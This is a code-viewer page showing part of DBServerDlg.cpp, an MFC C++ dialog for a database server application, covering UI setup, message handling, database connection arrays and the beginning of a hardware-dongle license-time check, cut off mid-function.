DBServerDlg.cpp 192 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316
  1. //在ApplicationDlg.cpp文件中实现主窗口界面的设计。及其主窗口相应控件的功能和参数的映射。 D4F876E2-w78F-22D5-q98A-Y0B0D07B847C
  2. #include "stdafx.h"
  3. #include "DBServer.h"
  4. #include "theDBServer.h"
  5. #include "DBServerDlg.h"
  6. //#include "UserAccountsDlg.h"
  7. //#include "WizardPages.h"
  8. #include "AboutDlg.h"
  9. #include <afxpriv.h>
  10. #include <process.h>
  11. //#include "Shlwapi.h"
  12. #include "ClientCenter.h"
  13. #include "MyLock.h"
  14. #include "mysqldata.h"
  15. #include "./helper/ffsco.h"
  16. //#include <tlhelp32.h>
  17. #include "ShowPic3.h"
  18. #include "my32.h"
  19. #include "SoftKey.h"
  20. #include "DogTimeOutDlg.h"
  21. #include "InputAuthDlg.h"
  22. //#include "AdoImplSvr.h"
  23. #include "CreateSmallPhoto.h"
  24. //#include "PhotoBackupMgr.h"
  25. #include <WinSvc.h>
  26. #include "ConnectThread.h"
  27. #pragma comment(lib, "NETAPI32.LIB ")
  28. #include "SelYear.h"
  29. #include "BranchInfo.h"
  30. using namespace helper_coffs;
  31. #include "IMGCommon.h"
  32. /*********ErrorExit(...)函数头文件************/
  33. //#include <strsafe.h>
  34. /***********************************/
  35. #ifdef _DEBUG
  36. #define new DEBUG_NEW
  37. #undef THIS_FILE
  38. static char THIS_FILE[] = __FILE__;
  39. #endif
  40. #define LIMITCOUNT 1 //历史数据每次转10个 autorun
  41. extern BOOL g_bSteal;
  42. extern BOOL g_bConvertHisAll;
  43. extern CDBServer theApp;
  44. extern CtheDBServer theServer;
  45. #define WM_ICON_NOTIFY WM_USER+12
  46. CDBServerDlg *g_pMainWnd = NULL;
  47. //#define IPC_CUSTOM_MSG2 _T("{D4F876E2-w78F-22D5-q98A-Y0B0D07B847C}")
  48. #define IPC_CUSTOM_MSG2 _T("{E4F876E2-Q78F-22D5-C98A-Y0B0D07B847C}")
  49. UINT g_wmClose = RegisterWindowMessage(IPC_CUSTOM_MSG2);
  50. //extern BOOL EncryptFile2(BYTE *buffer, DWORD leng, PCHAR szPassword);
  51. //extern CStringArray g_conniparray;
  52. CArray<CDatabase*, CDatabase*>g_pHistoryDBarray[200];
  53. CDatabase *g_pDB[200];
  54. CConnectThread *g_pThreadPt[200];
  55. int g_nDBCount = 0;
  56. /////////////////////////////////////////////////////////////////////////////
  57. // CDBServerDlg dialog
  58. #pragma comment(lib, "Shlwapi.lib")
  59. extern DWORD g_nSendCode;
  60. extern BOOL g_bReturned;
  61. static UINT auIDStatusBar[] =
  62. {
  63. ID_SEPARATOR,
  64. ID_INDICATOR_DATA_RECEIVED,
  65. ID_INDICATOR_DATA_SEND,
  66. ID_INDICATOR_ONLINELED,
  67. ID_INDICATOR_OFFLINELED
  68. };
  69. /********************************************************************/
  70. /* */
  71. /* Function name : CDBServerDlg::CDBServerDlg */
  72. /* Description : Constructor */
  73. /* */
  74. /********************************************************************/
  75. CDBServerDlg::CDBServerDlg(CWnd* pParent /*=NULL*/): CDialog(CDBServerDlg::IDD, pParent)
  76. {
  77. m_hIcon = AfxGetApp()->LoadIcon(IDI_DBServer);
  78. m_bTerminate = false;
  79. m_bRunning = false;
  80. m_hThread = NULL;
  81. hInst = NULL;
  82. CString version = _T("Version 1.0");
  83. g_bAutoRun = AfxGetApp()->GetProfileInt(version, "brun", 0);
  84. m_hExitCheckSvc = NULL;
  85. m_hWaitTimeOut = NULL;
  86. m_hCheckSvcThread = NULL;
  87. m_bStartCheckSvc = FALSE;
  88. for (int i = 0; i < 200; i++)
  89. {
  90. g_pDB[i] = NULL;
  91. g_pThreadPt[i] = NULL;
  92. }
  93. }
  94. /********************************************************************/
  95. /* */
  96. /* Function name : CDBServerDlg::~CDBServerDlg */
  97. /* Description : Destructor */
  98. /* */
  99. /********************************************************************/
  100. CDBServerDlg::~CDBServerDlg()
  101. {
  102. for (int i = 0; i < 200; i++)
  103. {
  104. CDatabase *db = g_pDB[i];
  105. if (db)
  106. {
  107. db->Close();
  108. delete db;
  109. }
  110. for (int j = 0; j < g_pHistoryDBarray[i].GetSize(); j++)
  111. {
  112. CDatabase *db = g_pHistoryDBarray[i].ElementAt(j);
  113. if (db)
  114. {
  115. db->Close();
  116. delete db;
  117. }
  118. }
  119. g_pHistoryDBarray[i].RemoveAll();
  120. }
  121. }
  122. /********************************************************************/
  123. /* */
  124. /* Function name : CDBServerDlg::DoDataExchange */
  125. /* Description : Called by the framework to exchange and validate */
  126. /* dialog data. */
  127. /* */
  128. /********************************************************************/
  129. void CDBServerDlg::DoDataExchange(CDataExchange* pDX)
  130. {
  131. CDialog::DoDataExchange(pDX);
  132. //{{AFX_DATA_MAP(CDBServerDlg)
  133. DDX_Control(pDX, IDC_INFOBAR, m_InfobarCtrl);
  134. DDX_Control(pDX, IDC_OUTLOOKBAR, m_OutlookBar);
  135. //}}AFX_DATA_MAP
  136. }
  137. BEGIN_MESSAGE_MAP(CDBServerDlg, CDialog)
  138. //{{AFX_MSG_MAP(CDBServerDlg)
  139. ON_WM_DESTROY()
  140. ON_COMMAND(ID_SERVER_START, OnServerStart)
  141. ON_UPDATE_COMMAND_UI(ID_SERVER_START, OnUpdateServerStart)
  142. ON_COMMAND(ID_SERVER_STOP, OnServerStop)
  143. ON_UPDATE_COMMAND_UI(ID_SERVER_STOP, OnUpdateServerStop)
  144. ON_COMMAND(ID_SERVER_EXIT, OnServerExit)
  145. ON_NOTIFY(NM_CLICK, IDC_OUTLOOKBAR, OnClickOutlookBar)
  146. ON_NOTIFY(LVN_KEYDOWN, IDC_OUTLOOKBAR, OnKeydownOutlookBar)
  147. ON_COMMAND(ID_USER_ACCOUNTS, OnUserAccounts)
  148. ON_WM_CLOSE()
  149. ON_COMMAND(IDC_VIEW_TRACE, OnViewTrace)
  150. ON_COMMAND(IDC_VIEW_ONLINE_USERS, OnViewOnlineUsers)
  151. ON_COMMAND(IDC_VIEW_CONFIGURATION, OnViewConfiguration)
  152. ON_UPDATE_COMMAND_UI(IDC_VIEW_TRACE, OnUpdateViewTrace)
  153. ON_UPDATE_COMMAND_UI(IDC_VIEW_ONLINE_USERS, OnUpdateViewOnlineUsers)
  154. ON_UPDATE_COMMAND_UI(IDC_VIEW_CONFIGURATION, OnUpdateViewConfiguration)
  155. ON_COMMAND(IDC_VIEW_STATISTICS, OnViewStatistics)
  156. ON_UPDATE_COMMAND_UI(IDC_VIEW_STATISTICS, OnUpdateViewStatistics)
  157. ON_COMMAND(IDC_VIEW_SECURITY, OnViewSecurity)
  158. ON_UPDATE_COMMAND_UI(IDC_VIEW_SECURITY, OnUpdateViewSecurity)
  159. ON_COMMAND(ID_ACCOUNT_WIZARD, OnAccountWizard)
  160. ON_WM_TIMER()
  161. ON_COMMAND(IDM_OPEN, OnOpen)
  162. ON_COMMAND(IDM_EXIT, OnExit)
  163. ON_COMMAND(IDM_AUTORUN, OnAutorun)
  164. ON_COMMAND(IDM_STARTBAKSVC, OnStartBackupSvc)
  165. ON_COMMAND(IDM_STARTDELSVC, OnStartDelPhotoSvc)
  166. ON_COMMAND(IDM_STOPBAKSVC, OnStopBackupSvc)
  167. ON_COMMAND(IDM_STOPDELSVC, OnStopDelPhotoSvc)
  168. ON_COMMAND(IDM_AUTOCHECKSVC, OnAutoCheckSvc)
  169. //}}AFX_MSG_MAP
  170. ON_MESSAGE(WM_ICON_NOTIFY, OnTrayNotification)
  171. ON_REGISTERED_MESSAGE(g_wmClose, OnAbortClose)
  172. END_MESSAGE_MAP()
  173. LRESULT CDBServerDlg::OnAbortClose(WPARAM wParam, LPARAM lParam)
  174. {
  175. if (wParam == 2)
  176. {
  177. WriteTextLog("连接失败,服务将重启");
  178. OnExit2();
  179. }
  180. else if (wParam == 3)//更新分店
  181. {
  182. LoadBranchInfo();
  183. }
  184. return 1;
  185. }
  186. BOOL CDBServerDlg::OnInitDialog()
  187. {
  188. g_pMainWnd = this;
  189. CDialog::OnInitDialog();
  190. char server[50];
  191. DWORD leng = 50;
  192. ::GetComputerName(server, &leng);
  193. g_localip = server;
  194. MyGetIPByName(g_localip);
  195. // setup listview ctrl, so that it looks like the outbar control
  196. SetupOutlookBar();
  197. // Add statusbar to the dialog
  198. CreateStatusbar();
  199. CRect rect;
  200. GetDlgItem(IDC_STATIC1)->GetWindowRect(rect);
  201. ScreenToClient(rect);
  202. rect.right += 4;
  203. GetDlgItem(IDC_STATIC1)->MoveWindow(rect);
  204. // create property pages
  205. m_TracePage.Create(IDD_PROPPAGE_TRACE, this);
  206. m_OnlineUsersPage.Create(IDD_PROPPAGE_ONLINE, this);
  207. m_ConfigurationPage.Create(IDD_PROPPAGE_CONFIGURATION, this);
  208. m_StatisticsPage.Create(IDD_PROPPAGE_STATISTICS, this);
  209. m_SecurityPage.Create(IDD_PROPPAGE_SECURITY, this);
  210. // activate main page
  211. ActivatePage(0);
  212. // Set the icon for this dialog.
  213. SetIcon(m_hIcon, TRUE); // Set big icon
  214. SetIcon(m_hIcon, FALSE); // Set small icon
  215. // get registry values
  216. ENCODE_START
  217. #ifndef _DEBUG
  218. #ifdef TIMEDOG_VERSION
  219. try
  220. {
  221. CheckRegCode(); // 检查注册码;
  222. DWORD id;
  223. TCHAR HKey[50]="ffffffff",LKey[50]="ffffffff";
  224. TCHAR OutTime[50];
  225. TCHAR DevicePath[ 260];
  226. if(FindPort(0,DevicePath)!=0)
  227. exit(1);
  228. //LIBC.LIB,libcp.lib,msvcprt.lib
  229. TCHAR year[10],month[10],day[10],hour[10],minute[10],second[10];
  230. ReadTimeAuthFromEprom(HKey,LKey, OutTime, &id, 30128, HKey, LKey, DevicePath);
  231. CString str=OutTime;
  232. CString temp="年";
  233. int pos=str.Find (temp);
  234. temp=str.Left (pos);
  235. str=str.Right (str.GetLength ()-pos-2);
  236. strcpy(year, temp.GetBuffer (0));temp.ReleaseBuffer ();
  237. temp="月";
  238. pos=str.Find (temp);
  239. temp=str.Left (pos);
  240. str=str.Right (str.GetLength ()-pos-2);
  241. strcpy(month, temp.GetBuffer (0));temp.ReleaseBuffer ();
  242. temp="日";
  243. pos=str.Find (temp);
  244. temp=str.Left (pos);
  245. str=str.Right (str.GetLength ()-pos-2);
  246. strcpy(day, temp.GetBuffer (0));temp.ReleaseBuffer ();
  247. temp="小时";
  248. pos=str.Find (temp);
  249. temp=str.Left (pos);
  250. str=str.Right (str.GetLength ()-pos-4);
  251. strcpy(hour, temp.GetBuffer (0));temp.ReleaseBuffer ();
  252. temp="分钟";
  253. pos=str.Find (temp);
  254. temp=str.Left (pos);
  255. str=str.Right (str.GetLength ()-pos-4);
  256. strcpy(minute, temp.GetBuffer (0));temp.ReleaseBuffer ();
  257. temp="0";
  258. strcpy(second, temp.GetBuffer (0));temp.ReleaseBuffer ();
  259. long time1=ConvertStringToTimerReal(year, month, day, hour, minute, second);
  260. GetRunTimer(year, month, day, hour, minute, second, DevicePath);
  261. long time2=ConvertStringToTimerReal(year, month, day, hour, minute, second);
  262. // 软件可运行时间;
  263. g_dwSoftRunTime = time1 - time2;
  264. if( (time1-time2) <0)
  265. {
